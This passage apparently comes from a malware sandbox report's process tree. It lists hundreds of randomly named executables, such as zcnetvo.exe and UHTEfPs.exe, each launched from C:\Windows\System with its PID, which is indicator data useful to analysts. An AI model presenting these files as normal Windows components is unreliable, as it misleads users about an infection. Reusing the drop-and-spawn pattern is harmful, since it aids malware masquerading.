  2⤵
  PID:448
- C:\Windows\System\zcnetvo.exe
  C:\Windows\System\zcnetvo.exe
  2⤵
  PID:4316
- C:\Windows\System\UHTEfPs.exe
  C:\Windows\System\UHTEfPs.exe
  2⤵
  PID:2624
- C:\Windows\System\Vmhvtew.exe
  C:\Windows\System\Vmhvtew.exe
  2⤵
  PID:3584
- C:\Windows\System\mUwjOkj.exe
  C:\Windows\System\mUwjOkj.exe
  2⤵
  PID:4768
- C:\Windows\System\XmOYMce.exe
  C:\Windows\System\XmOYMce.exe
  2⤵
  PID:4804
- C:\Windows\System\RAZDRXh.exe
  C:\Windows\System\RAZDRXh.exe
  2⤵
  PID:1664
- C:\Windows\System\ZziEqQB.exe
  C:\Windows\System\ZziEqQB.exe
  2⤵
  PID:3972
- C:\Windows\System\LcqutLw.exe
  C:\Windows\System\LcqutLw.exe
  2⤵
  PID:3392
- C:\Windows\System\KCDLJGG.exe
  C:\Windows\System\KCDLJGG.exe
  2⤵
  PID:3620
- C:\Windows\System\CcjLnTZ.exe
  C:\Windows\System\CcjLnTZ.exe
  2⤵
  PID:3776
- C:\Windows\System\TTsUwnO.exe
  C:\Windows\System\TTsUwnO.exe
  2⤵
  PID:1948
- C:\Windows\System\CZsgmVm.exe
  C:\Windows\System\CZsgmVm.exe
  2⤵
  PID:3600
- C:\Windows\System\uaTHpHP.exe
  C:\Windows\System\uaTHpHP.exe
  2⤵
  PID:3004
- C:\Windows\System\jCrPjDe.exe
  C:\Windows\System\jCrPjDe.exe
  2⤵
  PID:4068
- C:\Windows\System\NBspTPR.exe
  C:\Windows\System\NBspTPR.exe
  2⤵
  PID:1044
- C:\Windows\System\yOavKiS.exe
  C:\Windows\System\yOavKiS.exe
  2⤵
  PID:1800
- C:\Windows\System\oWMYupO.exe
  C:\Windows\System\oWMYupO.exe
  2⤵
  PID:1504
- C:\Windows\System\jAESVPa.exe
  C:\Windows\System\jAESVPa.exe
  2⤵
  PID:3220
- C:\Windows\System\rIqmoTi.exe
  C:\Windows\System\rIqmoTi.exe
  2⤵
  PID:4016
- C:\Windows\System\BKjURwV.exe
  C:\Windows\System\BKjURwV.exe
  2⤵
  PID:1928
- C:\Windows\System\WeHQLZX.exe
  C:\Windows\System\WeHQLZX.exe
  2⤵
  PID:1672
- C:\Windows\System\NMinYDr.exe
  C:\Windows\System\NMinYDr.exe
  2⤵
  PID:1864
- C:\Windows\System\stgXzpQ.exe
  C:\Windows\System\stgXzpQ.exe
  2⤵
  PID:3052
- C:\Windows\System\OGptsMc.exe
  C:\Windows\System\OGptsMc.exe
  2⤵
  PID:1312
- C:\Windows\System\XVDvywb.exe
  C:\Windows\System\XVDvywb.exe
  2⤵
  PID:2612
- C:\Windows\System\pGZCmTu.exe
  C:\Windows\System\pGZCmTu.exe
  2⤵
  PID:4132
- C:\Windows\System\kklTPQW.exe
  C:\Windows\System\kklTPQW.exe
  2⤵
  PID:4836
- C:\Windows\System\teEFrrM.exe
  C:\Windows\System\teEFrrM.exe
  2⤵
  PID:4876
- C:\Windows\System\umAdUzo.exe
  C:\Windows\System\umAdUzo.exe
  2⤵
  PID:4892
- C:\Windows\System\IjVcvfk.exe
  C:\Windows\System\IjVcvfk.exe
  2⤵
  PID:4908
- C:\Windows\System\mFzSShm.exe
  C:\Windows\System\mFzSShm.exe
  2⤵
  PID:4960
- C:\Windows\System\CRYhKwm.exe
  C:\Windows\System\CRYhKwm.exe
  2⤵
  PID:5000
- C:\Windows\System\YGnQTBj.exe
  C:\Windows\System\YGnQTBj.exe
  2⤵
  PID:5040
- C:\Windows\System\PnPjMdB.exe
  C:\Windows\System\PnPjMdB.exe
  2⤵
  PID:1644
- C:\Windows\System\eUCqQxF.exe
  C:\Windows\System\eUCqQxF.exe
  2⤵
  PID:5072
- C:\Windows\System\JMfjkLD.exe
  C:\Windows\System\JMfjkLD.exe
  2⤵
  PID:2308
- C:\Windows\System\jqdfGLn.exe
  C:\Windows\System\jqdfGLn.exe
  2⤵
  PID:4556
- C:\Windows\System\aPXOdne.exe
  C:\Windows\System\aPXOdne.exe
  2⤵
  PID:4492
- C:\Windows\System\cKDXMnD.exe
  C:\Windows\System\cKDXMnD.exe
  2⤵
  PID:4400
- C:\Windows\System\febqhqp.exe
  C:\Windows\System\febqhqp.exe
  2⤵
  PID:3380
- C:\Windows\System\jhajyiP.exe
  C:\Windows\System\jhajyiP.exe
  2⤵
  PID:4116
- C:\Windows\System\DHSiOfC.exe
  C:\Windows\System\DHSiOfC.exe
  2⤵
  PID:2616
- C:\Windows\System\scxzFHu.exe
  C:\Windows\System\scxzFHu.exe
  2⤵
  PID:4160
- C:\Windows\System\IhmeukW.exe
  C:\Windows\System\IhmeukW.exe
  2⤵
  PID:4188
- C:\Windows\System\yCQSvKb.exe
  C:\Windows\System\yCQSvKb.exe
  2⤵
  PID:4164
- C:\Windows\System\uFsUbfe.exe
  C:\Windows\System\uFsUbfe.exe
  2⤵
  PID:4220
- C:\Windows\System\ABPMBun.exe
  C:\Windows\System\ABPMBun.exe
  2⤵
  PID:1812
- C:\Windows\System\dfyBeKk.exe
  C:\Windows\System\dfyBeKk.exe
  2⤵
  PID:2588
- C:\Windows\System\eufTKYn.exe
  C:\Windows\System\eufTKYn.exe
  2⤵
  PID:2024
- C:\Windows\System\qYXDpFV.exe
  C:\Windows\System\qYXDpFV.exe
  2⤵
  PID:4236
- C:\Windows\System\ESVkHdT.exe
  C:\Windows\System\ESVkHdT.exe
  2⤵
  PID:2700
- C:\Windows\System\BwOPTgr.exe
  C:\Windows\System\BwOPTgr.exe
  2⤵
  PID:4576
- C:\Windows\System\CkWieye.exe
  C:\Windows\System\CkWieye.exe
  2⤵
  PID:2512
- C:\Windows\System\SaSZwGo.exe
  C:\Windows\System\SaSZwGo.exe
  2⤵
  PID:4656
- C:\Windows\System\ytlIpvI.exe
  C:\Windows\System\ytlIpvI.exe
  2⤵
  PID:4976
- C:\Windows\System\kdihWAD.exe
  C:\Windows\System\kdihWAD.exe
  2⤵
  PID:1484
- C:\Windows\System\MkLcjAI.exe
  C:\Windows\System\MkLcjAI.exe
  2⤵
  PID:4720
- C:\Windows\System\fUZOuSz.exe
  C:\Windows\System\fUZOuSz.exe
  2⤵
  PID:3968
- C:\Windows\System\SqAnRYm.exe
  C:\Windows\System\SqAnRYm.exe
  2⤵
  PID:2564
- C:\Windows\System\UXXVsRv.exe
  C:\Windows\System\UXXVsRv.exe
  2⤵
  PID:1976
- C:\Windows\System\Nyxtnme.exe
  C:\Windows\System\Nyxtnme.exe
  2⤵
  PID:3712
- C:\Windows\System\jGnpCcg.exe
  C:\Windows\System\jGnpCcg.exe
  2⤵
  PID:3936
- C:\Windows\System\vpgTfUk.exe
  C:\Windows\System\vpgTfUk.exe
  2⤵
  PID:3264
- C:\Windows\System\NUWpPZp.exe
  C:\Windows\System\NUWpPZp.exe
  2⤵
  PID:2976
- C:\Windows\System\XKVaEDu.exe
  C:\Windows\System\XKVaEDu.exe
  2⤵
  PID:3872
- C:\Windows\System\EnkAUVp.exe
  C:\Windows\System\EnkAUVp.exe
  2⤵
  PID:3472
- C:\Windows\System\QygIYbz.exe
  C:\Windows\System\QygIYbz.exe
  2⤵
  PID:3280
- C:\Windows\System\niCnnew.exe
  C:\Windows\System\niCnnew.exe
  2⤵
  PID:3184
- C:\Windows\System\CxDpFRM.exe
  C:\Windows\System\CxDpFRM.exe
  2⤵
  PID:340
- C:\Windows\System\HpgywPO.exe
  C:\Windows\System\HpgywPO.exe
  2⤵
  PID:300
- C:\Windows\System\MLkbfix.exe
  C:\Windows\System\MLkbfix.exe
  2⤵
  PID:1316
- C:\Windows\System\srxzuwH.exe
  C:\Windows\System\srxzuwH.exe
  2⤵
  PID:1660
- C:\Windows\System\zwaDpdv.exe
  C:\Windows\System\zwaDpdv.exe
  2⤵
  PID:3828
- C:\Windows\System\BTFBzQt.exe
  C:\Windows\System\BTFBzQt.exe
  2⤵
  PID:1720
- C:\Windows\System\MVcJuBF.exe
  C:\Windows\System\MVcJuBF.exe
  2⤵
  PID:2632
- C:\Windows\System\AFGlREB.exe
  C:\Windows\System\AFGlREB.exe
  2⤵
  PID:1628
- C:\Windows\System\khoepev.exe
  C:\Windows\System\khoepev.exe
  2⤵
  PID:4992
- C:\Windows\System\YwkgeXz.exe
  C:\Windows\System\YwkgeXz.exe
  2⤵
  PID:5104
- C:\Windows\System\gkwppGa.exe
  C:\Windows\System\gkwppGa.exe
  2⤵
  PID:1956
- C:\Windows\System\XFwbWBx.exe
  C:\Windows\System\XFwbWBx.exe
  2⤵
  PID:2572
- C:\Windows\System\OhnzMJW.exe
  C:\Windows\System\OhnzMJW.exe
  2⤵
  PID:4884
- C:\Windows\System\timLnHV.exe
  C:\Windows\System\timLnHV.exe
  2⤵
  PID:4888
- C:\Windows\System\RRiWarH.exe
  C:\Windows\System\RRiWarH.exe
  2⤵
  PID:4900
- C:\Windows\System\drMumgI.exe
  C:\Windows\System\drMumgI.exe
  2⤵
  PID:2160
- C:\Windows\System\wpaBAzL.exe
  C:\Windows\System\wpaBAzL.exe
  2⤵
  PID:5012
- C:\Windows\System\ZtfNfDe.exe
  C:\Windows\System\ZtfNfDe.exe
  2⤵
  PID:4432
- C:\Windows\System\sYHzOAi.exe
  C:\Windows\System\sYHzOAi.exe
  2⤵
  PID:4208
- C:\Windows\System\CCiRosF.exe
  C:\Windows\System\CCiRosF.exe
  2⤵
  PID:4148
- C:\Windows\System\KKSysRp.exe
  C:\Windows\System\KKSysRp.exe
  2⤵
  PID:4924
- C:\Windows\System\VmTATrj.exe
  C:\Windows\System\VmTATrj.exe
  2⤵
  PID:4252
- C:\Windows\System\ksQENGX.exe
  C:\Windows\System\ksQENGX.exe
  2⤵
  PID:3048
- C:\Windows\System\outgPcO.exe
  C:\Windows\System\outgPcO.exe
  2⤵
  PID:4640
- C:\Windows\System\xfTZnYy.exe
  C:\Windows\System\xfTZnYy.exe
  2⤵
  PID:4476
- C:\Windows\System\yoebvxr.exe
  C:\Windows\System\yoebvxr.exe
  2⤵
  PID:4668
- C:\Windows\System\gCdsYeh.exe
  C:\Windows\System\gCdsYeh.exe
  2⤵
  PID:4700
- C:\Windows\System\ZtxKCow.exe
  C:\Windows\System\ZtxKCow.exe
  2⤵
  PID:4416
- C:\Windows\System\qrZspWT.exe
  C:\Windows\System\qrZspWT.exe
  2⤵
  PID:4448
- C:\Windows\System\MGMCnAQ.exe
  C:\Windows\System\MGMCnAQ.exe
  2⤵
  PID:2216
- C:\Windows\System\IYybPDW.exe
  C:\Windows\System\IYybPDW.exe
  2⤵
  PID:2356
- C:\Windows\System\STXAJan.exe
  C:\Windows\System\STXAJan.exe
  2⤵
  PID:2016
- C:\Windows\System\KFIhoZw.exe
  C:\Windows\System\KFIhoZw.exe
  2⤵
  PID:2144
- C:\Windows\System\LwnyIwa.exe
  C:\Windows\System\LwnyIwa.exe
  2⤵
  PID:5088
- C:\Windows\System\IdRKbMI.exe
  C:\Windows\System\IdRKbMI.exe
  2⤵
  PID:3456
- C:\Windows\System\DMkOtIV.exe
  C:\Windows\System\DMkOtIV.exe
  2⤵
  PID:3172
- C:\Windows\System\BbMSoso.exe
  C:\Windows\System\BbMSoso.exe
  2⤵
  PID:2084
- C:\Windows\System\SaeheNZ.exe
  C:\Windows\System\SaeheNZ.exe
  2⤵
  PID:2648
- C:\Windows\System\KHhRNYF.exe
  C:\Windows\System\KHhRNYF.exe
  2⤵
  PID:1320
- C:\Windows\System\AEMiAlC.exe
  C:\Windows\System\AEMiAlC.exe
  2⤵
  PID:2244
- C:\Windows\System\GTyEaJl.exe
  C:\Windows\System\GTyEaJl.exe
  2⤵
  PID:3344
- C:\Windows\System\gQEPXKX.exe
  C:\Windows\System\gQEPXKX.exe
  2⤵
  PID:3092
- C:\Windows\System\PkRyTLX.exe
  C:\Windows\System\PkRyTLX.exe
  2⤵
  PID:2828
- C:\Windows\System\uvMcwIg.exe
  C:\Windows\System\uvMcwIg.exe
  2⤵
  PID:4944
- C:\Windows\System\LEoyggd.exe
  C:\Windows\System\LEoyggd.exe
  2⤵
  PID:4312
- C:\Windows\System\tFSnLEN.exe
  C:\Windows\System\tFSnLEN.exe
  2⤵
  PID:2968
- C:\Windows\System\AeysZKW.exe
  C:\Windows\System\AeysZKW.exe
  2⤵
  PID:4144
- C:\Windows\System\omVegli.exe
  C:\Windows\System\omVegli.exe
  2⤵
  PID:2464
- C:\Windows\System\MHMtcxV.exe
  C:\Windows\System\MHMtcxV.exe
  2⤵
  PID:776
- C:\Windows\System\ikYnPua.exe
  C:\Windows\System\ikYnPua.exe
  2⤵
  PID:1540
- C:\Windows\System\xGMHjuz.exe
  C:\Windows\System\xGMHjuz.exe
  2⤵
  PID:4084
- C:\Windows\System\jlBAStK.exe
  C:\Windows\System\jlBAStK.exe
  2⤵
  PID:4852
- C:\Windows\System\EOSlrgC.exe
  C:\Windows\System\EOSlrgC.exe
  2⤵
  PID:3408
- C:\Windows\System\HwhoQkT.exe
  C:\Windows\System\HwhoQkT.exe
  2⤵
  PID:1492
- C:\Windows\System\nYGFlKN.exe
  C:\Windows\System\nYGFlKN.exe
  2⤵
  PID:4696
- C:\Windows\System\UewzzSX.exe
  C:\Windows\System\UewzzSX.exe
  2⤵
  PID:4756
- C:\Windows\System\zptYxxB.exe
  C:\Windows\System\zptYxxB.exe
  2⤵
  PID:696
- C:\Windows\System\KVAOdZm.exe
  C:\Windows\System\KVAOdZm.exe
  2⤵
  PID:3984
- C:\Windows\System\hXhqJPH.exe
  C:\Windows\System\hXhqJPH.exe
  2⤵
  PID:3508
- C:\Windows\System\KFPcRQA.exe
  C:\Windows\System\KFPcRQA.exe
  2⤵
  PID:1040
- C:\Windows\System\MbxCulY.exe
  C:\Windows\System\MbxCulY.exe
  2⤵
  PID:2472
- C:\Windows\System\zoOWyTl.exe
  C:\Windows\System\zoOWyTl.exe
  2⤵
  PID:5056
- C:\Windows\System\ZFJhwNe.exe
  C:\Windows\System\ZFJhwNe.exe
  2⤵
  PID:4636
- C:\Windows\System\PqSpxHf.exe
  C:\Windows\System\PqSpxHf.exe
  2⤵
  PID:4328
- C:\Windows\System\piBjQME.exe
  C:\Windows\System\piBjQME.exe
  2⤵
  PID:4348
- C:\Windows\System\bltVkhU.exe
  C:\Windows\System\bltVkhU.exe
  2⤵
  PID:1936
- C:\Windows\System\OgKgVfg.exe
  C:\Windows\System\OgKgVfg.exe
  2⤵
  PID:1308
- C:\Windows\System\PxojSWe.exe
  C:\Windows\System\PxojSWe.exe
  2⤵
  PID:2392
- C:\Windows\System\JADQheA.exe
  C:\Windows\System\JADQheA.exe
  2⤵
  PID:2896
- C:\Windows\System\gDQlUfM.exe
  C:\Windows\System\gDQlUfM.exe
  2⤵
  PID:4300
- C:\Windows\System\CWLZXlY.exe
  C:\Windows\System\CWLZXlY.exe
  2⤵
  PID:4224
- C:\Windows\System\nSFgGVG.exe
  C:\Windows\System\nSFgGVG.exe
  2⤵
  PID:2408
- C:\Windows\System\ydbMXZN.exe
  C:\Windows\System\ydbMXZN.exe
  2⤵
  PID:4848
- C:\Windows\System\CBzZQQB.exe
  C:\Windows\System\CBzZQQB.exe
  2⤵
  PID:4384
- C:\Windows\System\DDkHEBd.exe
  C:\Windows\System\DDkHEBd.exe
  2⤵
  PID:4284
- C:\Windows\System\Bmxcxqd.exe
  C:\Windows\System\Bmxcxqd.exe
  2⤵
  PID:4212
- C:\Windows\System\JOZalSC.exe
  C:\Windows\System\JOZalSC.exe
  2⤵
  PID:3216
- C:\Windows\System\CiROfOC.exe
  C:\Windows\System\CiROfOC.exe
  2⤵
  PID:4996
- C:\Windows\System\ndRShtg.exe
  C:\Windows\System\ndRShtg.exe
  2⤵
  PID:4428
- C:\Windows\System\raBuneD.exe
  C:\Windows\System\raBuneD.exe
  2⤵
  PID:2940
- C:\Windows\System\GAuOigN.exe
  C:\Windows\System\GAuOigN.exe
  2⤵
  PID:4184
- C:\Windows\System\MCOvtjq.exe
  C:\Windows\System\MCOvtjq.exe
  2⤵
  PID:2252
- C:\Windows\System\pfTMvSz.exe
  C:\Windows\System\pfTMvSz.exe
  2⤵
  PID:1656
- C:\Windows\System\XtiwzeK.exe
  C:\Windows\System\XtiwzeK.exe
  2⤵
  PID:2888
- C:\Windows\System\SKMpWMD.exe
  C:\Windows\System\SKMpWMD.exe
  2⤵
  PID:5132
- C:\Windows\System\NHiYpfz.exe
  C:\Windows\System\NHiYpfz.exe
  2⤵
  PID:5148
- C:\Windows\System\ablQSyq.exe
  C:\Windows\System\ablQSyq.exe
  2⤵
  PID:5164
- C:\Windows\System\mHbpksD.exe
  C:\Windows\System\mHbpksD.exe
  2⤵
  PID:5180
- C:\Windows\System\ZdGbYvO.exe
  C:\Windows\System\ZdGbYvO.exe
  2⤵
  PID:5196
- C:\Windows\System\uRGWLJK.exe
  C:\Windows\System\uRGWLJK.exe
  2⤵
  PID:5228
- C:\Windows\System\ClcPqPX.exe
  C:\Windows\System\ClcPqPX.exe
  2⤵
  PID:5272
- C:\Windows\System\PIwvtpz.exe
  C:\Windows\System\PIwvtpz.exe
  2⤵
  PID:5288
- C:\Windows\System\KwzscoE.exe
  C:\Windows\System\KwzscoE.exe
  2⤵
  PID:5308
- C:\Windows\System\luKcIxN.exe
  C:\Windows\System\luKcIxN.exe
  2⤵
  PID:5324
- C:\Windows\System\bfdYGCr.exe
  C:\Windows\System\bfdYGCr.exe
  2⤵
  PID:5340
- C:\Windows\System\RjZLcYS.exe
  C:\Windows\System\RjZLcYS.exe
  2⤵
  PID:5356
- C:\Windows\System\YmFccyX.exe
  C:\Windows\System\YmFccyX.exe
  2⤵
  PID:5372
- C:\Windows\System\ejiFnyy.exe
  C:\Windows\System\ejiFnyy.exe
  2⤵
  PID:5392
- C:\Windows\System\xBXegJA.exe
  C:\Windows\System\xBXegJA.exe
  2⤵
  PID:5408
- C:\Windows\System\ZCQKZDb.exe
  C:\Windows\System\ZCQKZDb.exe
  2⤵
  PID:5424
- C:\Windows\System\MJoxWza.exe
  C:\Windows\System\MJoxWza.exe
  2⤵
  PID:5440
- C:\Windows\System\sqPCUmc.exe
  C:\Windows\System\sqPCUmc.exe
  2⤵
  PID:5456
- C:\Windows\System\ZWjIAWp.exe
  C:\Windows\System\ZWjIAWp.exe
  2⤵
  PID:5472
- C:\Windows\System\grzQLyp.exe
  C:\Windows\System\grzQLyp.exe
  2⤵
  PID:5548
- C:\Windows\System\tylZXnd.exe
  C:\Windows\System\tylZXnd.exe
  2⤵
  PID:5564
- C:\Windows\System\zObaHSG.exe
  C:\Windows\System\zObaHSG.exe
  2⤵
  PID:5580
- C:\Windows\System\uIsZULh.exe
  C:\Windows\System\uIsZULh.exe
  2⤵
  PID:5596
- C:\Windows\System\VqobFLM.exe
  C:\Windows\System\VqobFLM.exe
  2⤵
  PID:5612
- C:\Windows\System\dpzVxNQ.exe
  C:\Windows\System\dpzVxNQ.exe
  2⤵
  PID:5628
- C:\Windows\System\AnJdqTg.exe
  C:\Windows\System\AnJdqTg.exe
  2⤵
  PID:5644
- C:\Windows\System\WSbEwcO.exe
  C:\Windows\System\WSbEwcO.exe
  2⤵
  PID:5660
- C:\Windows\System\nWITfhv.exe
  C:\Windows\System\nWITfhv.exe
  2⤵
  PID:5676
- C:\Windows\System\mHGivUT.exe
  C:\Windows\System\mHGivUT.exe
  2⤵
  PID:5696
- C:\Windows\System\bkIOZfs.exe
  C:\Windows\System\bkIOZfs.exe
  2⤵
  PID:5712
- C:\Windows\System\fkMgiAl.exe
  C:\Windows\System\fkMgiAl.exe
  2⤵
  PID:5728
- C:\Windows\System\LPWUdTB.exe
  C:\Windows\System\LPWUdTB.exe
  2⤵
  PID:5744
- C:\Windows\System\gonivpp.exe
  C:\Windows\System\gonivpp.exe
  2⤵
  PID:5760
- C:\Windows\System\myeJfQG.exe
  C:\Windows\System\myeJfQG.exe
  2⤵
  PID:5776
- C:\Windows\System\RcTAoIf.exe
  C:\Windows\System\RcTAoIf.exe
  2⤵
  PID:5796
- C:\Windows\System\oWnjKFd.exe
  C:\Windows\System\oWnjKFd.exe
  2⤵
  PID:5812
- C:\Windows\System\QykZYQT.exe
  C:\Windows\System\QykZYQT.exe
  2⤵
  PID:5828
- C:\Windows\System\yDwzyTy.exe
  C:\Windows\System\yDwzyTy.exe
  2⤵
  PID:5844
- C:\Windows\System\fLmLwhQ.exe
  C:\Windows\System\fLmLwhQ.exe
  2⤵
  PID:5860
- C:\Windows\System\kayOGPr.exe
  C:\Windows\System\kayOGPr.exe
  2⤵
  PID:5880
- C:\Windows\System\nLoiMfi.exe
  C:\Windows\System\nLoiMfi.exe
  2⤵
  PID:5896
- C:\Windows\System\CvUPBoX.exe
  C:\Windows\System\CvUPBoX.exe
  2⤵
  PID:5912
- C:\Windows\System\LQheHJq.exe
  C:\Windows\System\LQheHJq.exe
  2⤵
  PID:5928
- C:\Windows\System\mGNWhCa.exe
  C:\Windows\System\mGNWhCa.exe
  2⤵
  PID:5944
- C:\Windows\System\PHAAhfS.exe
  C:\Windows\System\PHAAhfS.exe
  2⤵
  PID:5960
- C:\Windows\System\gsVtPbC.exe
  C:\Windows\System\gsVtPbC.exe
  2⤵
  PID:6068
- C:\Windows\System\UHFIxjV.exe
  C:\Windows\System\UHFIxjV.exe
  2⤵
  PID:6084
- C:\Windows\System\wPljedt.exe
  C:\Windows\System\wPljedt.exe
  2⤵
  PID:6100
- C:\Windows\System\qErZlHK.exe
  C:\Windows\System\qErZlHK.exe
  2⤵
  PID:6116
- C:\Windows\System\aDTLfed.exe
  C:\Windows\System\aDTLfed.exe
  2⤵
  PID:6132
- C:\Windows\System\OTQloKQ.exe
  C:\Windows\System\OTQloKQ.exe
  2⤵
  PID:3060
- C:\Windows\System\BwohkZG.exe
  C:\Windows\System\BwohkZG.exe
  2⤵
  PID:4920
- C:\Windows\System\TqKEnri.exe
  C:\Windows\System\TqKEnri.exe
  2⤵
  PID:5192
- C:\Windows\System\Copimfw.exe
  C:\Windows\System\Copimfw.exe
  2⤵
  PID:5128
- C:\Windows\System\iPGMFuz.exe
  C:\Windows\System\iPGMFuz.exe
  2⤵
  PID:5140
- C:\Windows\System\UjZdNgR.exe
  C:\Windows\System\UjZdNgR.exe
  2⤵
  PID:5204
- C:\Windows\System\nfBOCkv.exe
  C:\Windows\System\nfBOCkv.exe
  2⤵
  PID:4916
- C:\Windows\System\PyVIxPC.exe
  C:\Windows\System\PyVIxPC.exe
  2⤵
  PID:5236
- C:\Windows\System\cMjyKMW.exe
  C:\Windows\System\cMjyKMW.exe
  2⤵
  PID:5252
- C:\Windows\System\CivwzUf.exe
  C:\Windows\System\CivwzUf.exe
  2⤵
  PID:5248
- C:\Windows\System\ztLweVX.exe
  C:\Windows\System\ztLweVX.exe
  2⤵
  PID:5348
- C:\Windows\System\sKTufxb.exe
  C:\Windows\System\sKTufxb.exe
  2⤵
  PID:5384
- C:\Windows\System\IcnANve.exe
  C:\Windows\System\IcnANve.exe
  2⤵
  PID:5296
- C:\Windows\System\CbhYmIj.exe
  C:\Windows\System\CbhYmIj.exe
  2⤵
  PID:5488
- C:\Windows\System\INNYYEe.exe
  C:\Windows\System\INNYYEe.exe
  2⤵
  PID:5508
- C:\Windows\System\ExNxGNB.exe
  C:\Windows\System\ExNxGNB.exe
  2⤵
  PID:4624
- C:\Windows\System\tJRFfQt.exe
  C:\Windows\System\tJRFfQt.exe
  2⤵
  PID:5544
- C:\Windows\System\cOOBvHH.exe
  C:\Windows\System\cOOBvHH.exe
  2⤵
  PID:5592
- C:\Windows\System\oJjXimh.exe
  C:\Windows\System\oJjXimh.exe
  2⤵
  PID:5656
- C:\Windows\System\DhNtPdK.exe
  C:\Windows\System\DhNtPdK.exe
  2⤵
  PID:5952
- C:\Windows\System\EpYhruU.exe
  C:\Windows\System\EpYhruU.exe
  2⤵
  PID:5888
- C:\Windows\System\SrLzUzz.exe
  C:\Windows\System\SrLzUzz.exe
  2⤵
  PID:5820
- C:\Windows\System\ATrIFDd.exe
  C:\Windows\System\ATrIFDd.exe
  2⤵
  PID:5756
- C:\Windows\System\iXJICaQ.exe
  C:\Windows\System\iXJICaQ.exe
  2⤵
  PID:5692
- C:\Windows\System\EYOqVKq.exe
  C:\Windows\System\EYOqVKq.exe
  2⤵
  PID:5576
- C:\Windows\System\pQLtJtX.exe
  C:\Windows\System\pQLtJtX.exe
  2⤵
  PID:5704
- C:\Windows\System\SEeGRed.exe
  C:\Windows\System\SEeGRed.exe
  2⤵
  PID:5768
- C:\Windows\System\KiDlmlW.exe
  C:\Windows\System\KiDlmlW.exe
  2⤵
  PID:5836
- C:\Windows\System\ESThrVf.exe
  C:\Windows\System\ESThrVf.exe
  2⤵
  PID:5936
- C:\Windows\System\cDiPVyZ.exe
  C:\Windows\System\cDiPVyZ.exe
  2⤵
  PID:5608
- C:\Windows\System\NujYnDw.exe
  C:\Windows\System\NujYnDw.exe
  2⤵
  PID:6016
- C:\Windows\System\azYpYHc.exe
  C:\Windows\System\azYpYHc.exe
  2⤵
  PID:6036
- C:\Windows\System\OcgeHdB.exe
  C:\Windows\System\OcgeHdB.exe
  2⤵
  PID:6044
- C:\Windows\System\wcjssKa.exe
  C:\Windows\System\wcjssKa.exe
  2⤵
  PID:6000
- C:\Windows\System\wdQkOIf.exe
  C:\Windows\System\wdQkOIf.exe
  2⤵
  PID:6052
- C:\Windows\System\PDRVnrF.exe
  C:\Windows\System\PDRVnrF.exe
  2⤵
  PID:6076
- C:\Windows\System\MVUbBKH.exe
  C:\Windows\System\MVUbBKH.exe
  2⤵
  PID:1932
- C:\Windows\System\WUXJmHF.exe
  C:\Windows\System\WUXJmHF.exe
  2⤵
  PID:6092
- C:\Windows\System\FNMIRkT.exe
  C:\Windows\System\FNMIRkT.exe
  2⤵
  PID:5244
- C:\Windows\System\frIRqAV.exe
  C:\Windows\System\frIRqAV.exe
  2⤵
  PID:5416
- C:\Windows\System\ZkREJIO.exe
  C:\Windows\System\ZkREJIO.exe
  2⤵
  PID:5380
- C:\Windows\System\ZekWXlr.exe
  C:\Windows\System\ZekWXlr.exe
  2⤵
  PID:5176
- C:\Windows\System\DcNScCQ.exe
  C:\Windows\System\DcNScCQ.exe
  2⤵
  PID:6096
- C:\Windows\System\isncLJL.exe
  C:\Windows\System\isncLJL.exe
  2⤵
  PID:2552
- C:\Windows\System\hLsHcwF.exe
  C:\Windows\System\hLsHcwF.exe
  2⤵
  PID:5208
- C:\Windows\System\NxWvgit.exe
  C:\Windows\System\NxWvgit.exe
  2⤵
  PID:5220
- C:\Windows\System\LdPDaHs.exe
  C:\Windows\System\LdPDaHs.exe
  2⤵
  PID:5920
- C:\Windows\System\FsbABoz.exe
  C:\Windows\System\FsbABoz.exe
  2⤵
  PID:5404
- C:\Windows\System\eQaurUi.exe
  C:\Windows\System\eQaurUi.exe
  2⤵
  PID:5256
- C:\Windows\System\QjWyEAa.exe
  C:\Windows\System\QjWyEAa.exe
  2⤵
  PID:6108
- C:\Windows\System\dgtlZur.exe
  C:\Windows\System\dgtlZur.exe
  2⤵
  PID:6008
- C:\Windows\System\kQydcSK.exe
  C:\Windows\System\kQydcSK.exe
  2⤵
  PID:5904
- C:\Windows\System\kvEaeGA.exe
  C:\Windows\System\kvEaeGA.exe
  2⤵
  PID:5436
- C:\Windows\System\oGbJrgn.exe
  C:\Windows\System\oGbJrgn.exe
  2⤵
  PID:5172
- C:\Windows\System\UOlDGTu.exe
  C:\Windows\System\UOlDGTu.exe
  2⤵
  PID:5540
- C:\Windows\System\JCvCWRE.exe
  C:\Windows\System\JCvCWRE.exe
  2⤵
  PID:5452
- C:\Windows\System\rFnzNxL.exe
  C:\Windows\System\rFnzNxL.exe
  2⤵
  PID:6148
- C:\Windows\System\pgNFTVS.exe
  C:\Windows\System\pgNFTVS.exe
  2⤵
  PID:6164
- C:\Windows\System\FZPuHMQ.exe
  C:\Windows\System\FZPuHMQ.exe
  2⤵
  PID:6180
- C:\Windows\System\HWYQqnh.exe
  C:\Windows\System\HWYQqnh.exe
  2⤵
  PID:6196
- C:\Windows\System\OfltDbp.exe
  C:\Windows\System\OfltDbp.exe
  2⤵
  PID:6212
- C:\Windows\System\WMRUOCJ.exe
  C:\Windows\System\WMRUOCJ.exe
  2⤵
  PID:6232
- C:\Windows\System\QqKCIyZ.exe
  C:\Windows\System\QqKCIyZ.exe
  2⤵
  PID:6248
- C:\Windows\System\IZfvjAx.exe
  C:\Windows\System\IZfvjAx.exe
  2⤵
  PID:6264
- C:\Windows\System\QWICVIA.exe
  C:\Windows\System\QWICVIA.exe
  2⤵
  PID:6280
- C:\Windows\System\ajAkMpx.exe
  C:\Windows\System\ajAkMpx.exe
  2⤵
  PID:6296
- C:\Windows\System\ooVdwcu.exe
  C:\Windows\System\ooVdwcu.exe
  2⤵
  PID:6320
- C:\Windows\System\XTarnCr.exe
  C:\Windows\System\XTarnCr.exe
  2⤵
  PID:6336
- C:\Windows\System\UlQOkfM.exe
  C:\Windows\System\UlQOkfM.exe
  2⤵
  PID:6352
- C:\Windows\System\JjbNXSK.exe
  C:\Windows\System\JjbNXSK.exe
  2⤵
  PID:6368
- C:\Windows\System\WHYFXbY.exe
  C:\Windows\System\WHYFXbY.exe
  2⤵
  PID:6384
- C:\Windows\System\QkJXxQN.exe
  C:\Windows\System\QkJXxQN.exe
  2⤵
  PID:6400
- C:\Windows\System\emzTAMB.exe
  C:\Windows\System\emzTAMB.exe
  2⤵
  PID:6416
- C:\Windows\System\knFsrov.exe
  C:\Windows\System\knFsrov.exe
  2⤵
  PID:6432
- C:\Windows\System\QuUUokH.exe
  C:\Windows\System\QuUUokH.exe
  2⤵
